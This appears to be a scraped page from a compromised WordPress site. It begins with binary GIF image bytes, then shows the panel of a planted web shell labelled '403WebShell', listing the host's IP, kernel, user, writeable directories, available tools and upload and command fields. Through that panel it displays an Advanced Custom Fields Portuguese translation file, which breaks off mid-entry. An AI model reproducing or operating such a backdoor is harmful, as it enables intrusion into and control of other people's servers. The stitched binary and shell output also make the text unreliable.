GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/acf-pt_BR.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields PRO 5.4\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2016-08-04 15:51-0300\n"
"PO-Revision-Date: 2016-11-03 17:12+1000\n"
"Last-Translator: Elliot Condon <e@elliotcondon.com>\n"
"Language-Team: Augusto Simão <augusto@ams.art.br>\n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Generator: Poedit 1.8.1\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: acf.php:60
msgid "Advanced Custom Fields"
msgstr "Advanced Custom Fields"

#: acf.php:271 admin/admin.php:61
msgid "Field Groups"
msgstr "Grupos de Campos"

#: acf.php:272
msgid "Field Group"
msgstr "Grupo de Campos"

#: acf.php:273 acf.php:305 admin/admin.php:62
#: pro/fields/flexible-content.php:500
msgid "Add New"
msgstr "Adicionar Novo"

#: acf.php:274
msgid "Add New Field Group"
msgstr "Adicionar Novo Grupo de Campos"

#: acf.php:275
msgid "Edit Field Group"
msgstr "Editar Grupo de Campos"

#: acf.php:276
msgid "New Field Group"
msgstr "Novo Grupo de Campos"

#: acf.php:277
msgid "View Field Group"
msgstr "Ver Grupo de Campos"

#: acf.php:278
msgid "Search Field Groups"
msgstr "Pesquisar Grupos de Campos"

#: acf.php:279
msgid "No Field Groups found"
msgstr "Nenhum Grupo de Campos encontrado"

#: acf.php:280
msgid "No Field Groups found in Trash"
msgstr "Nenhum Grupo de Campos encontrado na Lixeira"

#: acf.php:303 admin/field-group.php:182 admin/field-group.php:280
#: admin/field-groups.php:528 pro/fields/clone.php:679
msgid "Fields"
msgstr "Campos"

#: acf.php:304
msgid "Field"
msgstr "Campo"

#: acf.php:306
msgid "Add New Field"
msgstr "Adicionar Novo Campo"

#: acf.php:307
msgid "Edit Field"
msgstr "Editar Campo"

#: acf.php:308 admin/views/field-group-fields.php:54
#: admin/views/settings-info.php:111
msgid "New Field"
msgstr "Novo Campo"

#: acf.php:309
msgid "View Field"
msgstr "Ver Campo"

#: acf.php:310
msgid "Search Fields"
msgstr "Pesquisar Campos"

#: acf.php:311
msgid "No Fields found"
msgstr "Nenhum Campo encontrado"

#: acf.php:312
msgid "No Fields found in Trash"
msgstr "Nenhum Campo encontrado na Lixeira"

#: acf.php:351 admin/field-group.php:395 admin/field-groups.php:585
#: admin/views/field-group-options.php:13
msgid "Disabled"
msgstr "Desabilitado"

#: acf.php:356
#, php-format
msgid "Disabled <span class=\"count\">(%s)</span>"
msgid_plural "Disabled <span class=\"count\">(%s)</span>"
msgstr[0] "Desabilitado <span class=“count”>(%s)</span>"
msgstr[1] "Desabilitados <span class=“count”>(%s)</span>"

#: admin/admin.php:57 admin/views/field-group-options.php:115
msgid "Custom Fields"
msgstr "Campos Personalizados"

#: admin/field-group.php:68 admin/field-group.php:69 admin/field-group.php:71
msgid "Field group updated."
msgstr "Grupo de campos atualizado"

#: admin/field-group.php:70
msgid "Field group deleted."
msgstr "Grupo de campos excluído."

#: admin/field-group.php:73
msgid "Field group published."
msgstr "Grupo de campos publicado."

#: admin/field-group.php:74
msgid "Field group saved."
msgstr "Grupo de campos salvo."

#: admin/field-group.php:75
msgid "Field group submitted."
msgstr "Grupo de campos enviado."

#: admin/field-group.php:76
msgid "Field group scheduled for."
msgstr "Grupo de campos agendando."

#: admin/field-group.php:77
msgid "Field group draft updated."
msgstr "Rascunho do grupo de campos atualizado."

#: admin/field-group.php:183
msgid "Location"
msgstr "Localização"

#: admin/field-group.php:184
msgid "Settings"
msgstr "Configurações"

#: admin/field-group.php:274
msgid "Move to trash. Are you sure?"
msgstr "Mover para a lixeira. Você tem certeza?"

#: admin/field-group.php:275
msgid "checked"
msgstr "selecionado"

#: admin/field-group.php:276
msgid "No toggle fields available"
msgstr "Nenhum campo de opções disponível"

#: admin/field-group.php:277
msgid "Field group title is required"
msgstr "O título do grupo de campos é obrigatório"

#: admin/field-group.php:278 api/api-field-group.php:651
msgid "copy"
msgstr "copiar"

#: admin/field-group.php:279
#: admin/views/field-group-field-conditional-logic.php:62
#: admin/views/field-group-field-conditional-logic.php:162
#: admin/views/field-group-locations.php:59
#: admin/views/field-group-locations.php:135 api/api-helpers.php:3952
msgid "or"
msgstr "ou"

#: admin/field-group.php:281
msgid "Parent fields"
msgstr "Campos superiores"

#: admin/field-group.php:282
msgid "Sibling fields"
msgstr "Campos do mesmo grupo"

#: admin/field-group.php:283
msgid "Move Custom Field"
msgstr "Mover Campo Personalizado"

#: admin/field-group.php:284
msgid "This field cannot be moved until its changes have been saved"
msgstr "Este campo não pode ser movido até que suas alterações sejam salvas"

#: admin/field-group.php:285
msgid "Null"
msgstr "Vazio"

#: admin/field-group.php:286 core/input.php:257
msgid "The changes you made will be lost if you navigate away from this page"
msgstr "As alterações feitas serão perdidas se você sair desta página"

#: admin/field-group.php:287
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr "O termo “field_” não pode ser utilizado no início do nome de um campo"

#: admin/field-group.php:365
msgid "Field Keys"
msgstr "Chaves dos Campos"

#: admin/field-group.php:395 admin/views/field-group-options.php:12
msgid "Active"
msgstr "Ativo"

#: admin/field-group.php:842
msgid "Front Page"
msgstr "Página Inicial"

#: admin/field-group.php:843
msgid "Posts Page"
msgstr "Página de Posts"

#: admin/field-group.php:844
msgid "Top Level Page (no parent)"
msgstr "Página de Nível mais Alto (sem mãe)"

#: admin/field-group.php:845
msgid "Parent Page (has children)"
msgstr "Página Mãe (tem filhas)"

#: admin/field-group.php:846
msgid "Child Page (has parent)"
msgstr "Página Filha (possui mãe)"

#: admin/field-group.php:862
msgid "Default Template"
msgstr "Modelo Padrão"

#: admin/field-group.php:885
msgid "Logged in"
msgstr "Logado"

#: admin/field-group.php:886
msgid "Viewing front end"
msgstr "Visualizando a parte pública do site (front-end)"

#: admin/field-group.php:887
msgid "Viewing back end"
msgstr "Visualizando a parte administrativa do site (back-end)"

#: admin/field-group.php:906
msgid "Super Admin"
msgstr "Super Admin"

#: admin/field-group.php:917 admin/field-group.php:925
#: admin/field-group.php:939 admin/field-group.php:946
#: admin/field-group.php:963 admin/field-group.php:980 fields/file.php:241
#: fields/image.php:237 pro/fields/gallery.php:676
msgid "All"
msgstr "Todos"

#: admin/field-group.php:926
msgid "Add / Edit"
msgstr "Adicionar / Editar"

#: admin/field-group.php:927
msgid "Register"
msgstr "Registrar"

#: admin/field-group.php:1167
msgid "Move Complete."
msgstr "Movimentação realizada."

#: admin/field-group.php:1168
#, php-format
msgid "The %s field can now be found in the %s field group"
msgstr "O campo %s pode agora ser encontrado no grupo de campos %s"

#: admin/field-group.php:1170
msgid "Close Window"
msgstr "Fechar Janela"

#: admin/field-group.php:1205
msgid "Please select the destination for this field"
msgstr "Selecione o destino para este campo"

#: admin/field-group.php:1212
msgid "Move Field"
msgstr "Mover Campo"

#: admin/field-groups.php:74
#, php-format
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Ativo <span class=\"count\">(%s)</span>"
msgstr[1] "Ativos <span class=\"count\">(%s)</span>"

#: admin/field-groups.php:142
#, php-format
msgid "Field group duplicated. %s"
msgstr "Grupo de campos duplicado. %s"

#: admin/field-groups.php:146
#, php-format
msgid "%s field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "%s grupo de campos duplicado."
msgstr[1] "%s grupos de campos duplicados."

#: admin/field-groups.php:228
#, php-format
msgid "Field group synchronised. %s"
msgstr "Grupo de campos sincronizado. %s"

#: admin/field-groups.php:232
#, php-format
msgid "%s field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "%s grupo de campos sincronizado."
msgstr[1] "%s grupos de campos sincronizados."

#: admin/field-groups.php:412 admin/field-groups.php:575
msgid "Sync available"
msgstr "Sincronização disponível"

#: admin/field-groups.php:525 api/api-template.php:1077
#: api/api-template.php:1290 pro/fields/gallery.php:370
msgid "Title"
msgstr "Título"

#: admin/field-groups.php:526 admin/views/field-group-options.php:93
#: admin/views/update-network.php:25 admin/views/update-network.php:33
#: pro/fields/gallery.php:397
msgid "Description"
msgstr "Descrição"

#: admin/field-groups.php:527 admin/views/field-group-options.php:5
msgid "Status"
msgstr "Status"

#: admin/field-groups.php:623 admin/settings-info.php:76
#: pro/admin/views/settings-updates.php:111
msgid "Changelog"
msgstr "Registro de alterações"

#: admin/field-groups.php:624
#, php-format
msgid "See what's new in <a href=\"%s\">version %s</a>."
msgstr "Veja o que há de novo na <a href=\"%s\">versão %s</a>."

#: admin/field-groups.php:626
msgid "Resources"
msgstr "Recursos (em inglês)"

#: admin/field-groups.php:628
msgid "Getting Started"
msgstr "Primeiros Passos"

#: admin/field-groups.php:629 pro/admin/settings-updates.php:57
#: pro/admin/views/settings-updates.php:17
msgid "Updates"
msgstr "Atualizações"

#: admin/field-groups.php:630
msgid "Field Types"
msgstr "Tipos de Campos"

#: admin/field-groups.php:631
msgid "Functions"
msgstr "Funções"

#: admin/field-groups.php:632
msgid "Actions"
msgstr "Ações"

#: admin/field-groups.php:633 fields/relationship.php:737
msgid "Filters"
msgstr "Filtros"

#: admin/field-groups.php:634
msgid "'How to' guides"
msgstr "Guias práticos"

#: admin/field-groups.php:635
msgid "Tutorials"
msgstr "Tutoriais"

#: admin/field-groups.php:636
msgid "FAQ"
msgstr "Perguntas Frequentes"

#: admin/field-groups.php:641
msgid "Created by"
msgstr "Criado por"

#: admin/field-groups.php:684
msgid "Duplicate this item"
msgstr "Duplicar este item"

#: admin/field-groups.php:684 admin/field-groups.php:700
#: admin/views/field-group-field.php:59 pro/fields/flexible-content.php:499
msgid "Duplicate"
msgstr "Duplicar"

#: admin/field-groups.php:751
#, php-format
msgid "Select %s"
msgstr "Selecionar %s"

#: admin/field-groups.php:759
msgid "Synchronise field group"
msgstr "Sincronizar grupo de campos"

#: admin/field-groups.php:759 admin/field-groups.php:776
msgid "Sync"
msgstr "Sincronizar"

#: admin/settings-addons.php:51 admin/views/settings-addons.php:9
msgid "Add-ons"
msgstr "Complementos"

#: admin/settings-addons.php:87
msgid "<b>Error</b>. Could not load add-ons list"
msgstr "<b>Erro</b>. Não foi possível carregar a lista de complementos"

#: admin/settings-info.php:50
msgid "Info"
msgstr "Informações"

#: admin/settings-info.php:75
msgid "What's New"
msgstr "O que há de novo"

#: admin/settings-tools.php:50 admin/views/settings-tools-export.php:23
#: admin/views/settings-tools.php:31
msgid "Tools"
msgstr "Ferramentas"

#: admin/settings-tools.php:147 admin/settings-tools.php:380
msgid "No field groups selected"
msgstr "Nenhum grupo de campos selecionado"

#: admin/settings-tools.php:184 fields/file.php:175
msgid "No file selected"
msgstr "Nenhum arquivo selecionado"

#: admin/settings-tools.php:197
msgid "Error uploading file. Please try again"
msgstr "Erro ao realizar o upload do arquivo. Tente novamente"

#: admin/settings-tools.php:206
msgid "Incorrect file type"
msgstr "Tipo de arquivo incorreto"

#: admin/settings-tools.php:223
msgid "Import file empty"
msgstr "Arquivo de importação vazio"

#: admin/settings-tools.php:331
#, php-format
msgid "Imported 1 field group"
msgid_plural "Imported %s field groups"
msgstr[0] "Importado 1 grupo de campos"
msgstr[1] "Importados %s grupos de campos"

#: admin/update-network.php:96 admin/update.php:104 admin/update.php:155
msgid "Upgrade Database"
msgstr "Atualizar Banco de Dados"

#: admin/update-network.php:148
msgid "Review sites & upgrade"
msgstr "Revisar sites e atualizar"

#: admin/update.php:220
msgid "Error validating request"
msgstr "Erro ao validar solicitação"

#: admin/update.php:243 admin/views/update.php:110
msgid "No updates available."
msgstr "Nenhuma atualização disponível."

#: admin/update.php:260
msgid "Error loading update"
msgstr "Erro ao carregar atualização"

#: admin/views/field-group-field-conditional-logic.php:29
msgid "Conditional Logic"
msgstr "Condições para exibição"

#: admin/views/field-group-field-conditional-logic.php:40
#: admin/views/field-group-field.php:141 fields/checkbox.php:244
#: fields/message.php:144 fields/page_link.php:533 fields/page_link.php:547
#: fields/page_link.php:561 fields/post_object.php:432
#: fields/post_object.php:446 fields/radio.php:255 fields/select.php:469
#: fields/select.php:483 fields/select.php:497 fields/select.php:511
#: fields/tab.php:130 fields/taxonomy.php:785 fields/taxonomy.php:799
#: fields/taxonomy.php:813 fields/taxonomy.php:827 fields/user.php:399
#: fields/user.php:413 fields/wysiwyg.php:418
#: pro/admin/views/settings-updates.php:93 pro/fields/clone.php:733
#: pro/fields/clone.php:751
msgid "Yes"
msgstr "Sim"

#: admin/views/field-group-field-conditional-logic.php:41
#: admin/views/field-group-field.php:142 fields/checkbox.php:245
#: fields/message.php:145 fields/page_link.php:534 fields/page_link.php:548
#: fields/page_link.php:562 fields/post_object.php:433
#: fields/post_object.php:447 fields/radio.php:256 fields/select.php:470
#: fields/select.php:484 fields/select.php:498 fields/select.php:512
#: fields/tab.php:131 fields/taxonomy.php:700 fields/taxonomy.php:786
#: fields/taxonomy.php:800 fields/taxonomy.php:814 fields/taxonomy.php:828
#: fields/user.php:400 fields/user.php:414 fields/wysiwyg.php:419
#: pro/admin/views/settings-updates.php:103 pro/fields/clone.php:734
#: pro/fields/clone.php:752
msgid "No"
msgstr "Não"

#: admin/views/field-group-field-conditional-logic.php:62
msgid "Show this field if"
msgstr "Mostrar este campo se"

#: admin/views/field-group-field-conditional-logic.php:111
#: admin/views/field-group-locations.php:34
msgid "is equal to"
msgstr "é igual a"

#: admin/views/field-group-field-conditional-logic.php:112
#: admin/views/field-group-locations.php:35
msgid "is not equal to"
msgstr "não é igual a"

#: admin/views/field-group-field-conditional-logic.php:149
#: admin/views/field-group-locations.php:122
msgid "and"
msgstr "e"

#: admin/views/field-group-field-conditional-logic.php:164
#: admin/views/field-group-locations.php:137
msgid "Add rule group"
msgstr "Adicionar grupo de regras"

#: admin/views/field-group-field.php:50 pro/fields/flexible-content.php:346
#: pro/fields/repeater.php:302
msgid "Drag to reorder"
msgstr "Arraste para reorganizar"

#: admin/views/field-group-field.php:55 admin/views/field-group-field.php:58
msgid "Edit field"
msgstr "Editar campo"

#: admin/views/field-group-field.php:58 fields/image.php:142
#: pro/fields/gallery.php:357
msgid "Edit"
msgstr "Editar"

#: admin/views/field-group-field.php:59
msgid "Duplicate field"
msgstr "Duplicar campo"

#: admin/views/field-group-field.php:60
msgid "Move field to another group"
msgstr "Mover campo para outro grupo"

#: admin/views/field-group-field.php:60
msgid "Move"
msgstr "Mover"

#: admin/views/field-group-field.php:61
msgid "Delete field"
msgstr "Excluir campo"

#: admin/views/field-group-field.php:61 pro/fields/flexible-content.php:498
msgid "Delete"
msgstr "Excluir"

#: admin/views/field-group-field.php:69 fields/oembed.php:225
#: fields/taxonomy.php:901
msgid "Error"
msgstr "Erro"

#: fields/oembed.php:220 fields/taxonomy.php:900
msgid "Error."
msgstr "Erro."

#: admin/views/field-group-field.php:69
msgid "Field type does not exist"
msgstr "Tipo de campo não existe"

#: admin/views/field-group-field.php:82
msgid "Field Label"
msgstr "Rótulo do Campo"

#: admin/views/field-group-field.php:83
msgid "This is the name which will appear on the EDIT page"
msgstr "Este é o nome que irá aparecer na página de EDIÇÃO"

#: admin/views/field-group-field.php:95
msgid "Field Name"
msgstr "Nome do Campo"

#: admin/views/field-group-field.php:96
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr ""
"Uma única palavra, sem espaços. Traço inferior (_) e traços (-) permitidos"

#: admin/views/field-group-field.php:108
msgid "Field Type"
msgstr "Tipo de Campo"

#: admin/views/field-group-field.php:122 fields/tab.php:103
msgid "Instructions"
msgstr "Instruções"

#: admin/views/field-group-field.php:123
msgid "Instructions for authors. Shown when submitting data"
msgstr "Instrução para os autores. Exibido quando se está enviando dados"

#: admin/views/field-group-field.php:134
msgid "Required?"
msgstr "Obrigatório?"

#: admin/views/field-group-field.php:163
msgid "Wrapper Attributes"
msgstr "Atributos do Wrapper"

#: admin/views/field-group-field.php:169
msgid "width"
msgstr "largura"

#: admin/views/field-group-field.php:183
msgid "class"
msgstr "classe"

#: admin/views/field-group-field.php:196
msgid "id"
msgstr "id"

#: admin/views/field-group-field.php:208
msgid "Close Field"
msgstr "Fechar Campo"

#: admin/views/field-group-fields.php:17
msgid "Order"
msgstr "Ordem"

#: admin/views/field-group-fields.php:18 fields/checkbox.php:259
#: fields/radio.php:314 fields/select.php:527
#: pro/fields/flexible-content.php:525
msgid "Label"
msgstr "Rótulo"

#: admin/views/field-group-fields.php:19 fields/taxonomy.php:967
#: pro/fields/flexible-content.php:538
msgid "Name"
msgstr "Nome"

#: admin/views/field-group-fields.php:20
msgid "Type"
msgstr "Tipo"

#: admin/views/field-group-fields.php:38
msgid ""
"No fields. Click the <strong>+ Add Field</strong> button to create your "
"first field."
msgstr ""
"Nenhum campo. Clique no botão <strong>+ Adicionar Campo</strong> para criar "
"seu primeiro campo."

#: admin/views/field-group-fields.php:44
msgid "+ Add Field"
msgstr "+ Adicionar Campo"

#: admin/views/field-group-locations.php:5
#: admin/views/field-group-locations.php:11
msgid "Post"
msgstr "Post"

#: admin/views/field-group-locations.php:6 fields/relationship.php:743
msgid "Post Type"
msgstr "Tipo de Post"

#: admin/views/field-group-locations.php:7
msgid "Post Status"
msgstr "Status do Post"

#: admin/views/field-group-locations.php:8
msgid "Post Format"
msgstr "Formato de Post"

#: admin/views/field-group-locations.php:9
msgid "Post Category"
msgstr "Categoria de Post"

#: admin/views/field-group-locations.php:10
msgid "Post Taxonomy"
msgstr "Taxonomia de Post"

#: admin/views/field-group-locations.php:13
#: admin/views/field-group-locations.php:17
msgid "Page"
